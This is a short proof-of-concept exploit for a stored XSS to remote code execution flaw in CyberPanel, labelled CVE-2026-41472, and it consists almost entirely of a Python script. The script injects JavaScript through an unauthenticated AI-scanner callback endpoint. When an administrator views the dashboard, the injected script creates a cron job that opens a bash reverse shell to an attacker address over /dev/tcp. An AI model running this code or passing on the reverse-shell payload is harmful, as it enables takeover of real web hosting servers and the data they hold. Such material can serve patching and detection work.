CVE-2026-41472 CyberPanel存储型XSS致RCE漏洞

import requests # Target configuration target_url = "http://target-host:8090" attacker_ip = "192.168.1.100" # Replace with attacker IP # Malicious JavaScript payload # This payload attempts to create a cron job via an authenticated admin request # The specific API endpoint for cron creation may vary based on CyberPanel version js_payload = f""" <script> // Function to create a reverse shell cron job function createCron() {{ fetch('/manageserver/submitCron', {{ method: 'POST', headers: {{ 'Content-Type': 'application/x-www-form-urlencoded', }}, body: 'command=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{attacker_ip}%2F4444%200%3E%261&status=disabled&minute=*&hour=*&month=*&weekday=*&day=*' }}).then(response => console.log('Cron job request sent')) .catch(error => console.error('Error:', error)); }} createCron(); </script> """ # Data to inject into the findings_json field # The endpoint expects scan_id and findings_json exploit_data = { "scan_id": "1", # May need to be a valid ID or arbitrary depending on implementation "findings_json": js_payload } # Send the malicious payload to the unauthenticated endpoint try: response = requests.post(f"{target_url}/api/ai-scanner/callback", data=exploit_data, timeout=10) if response.status_code == 200: print("[+] Payload successfully injected. Wait for an admin to view the AI Scanner dashboard.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")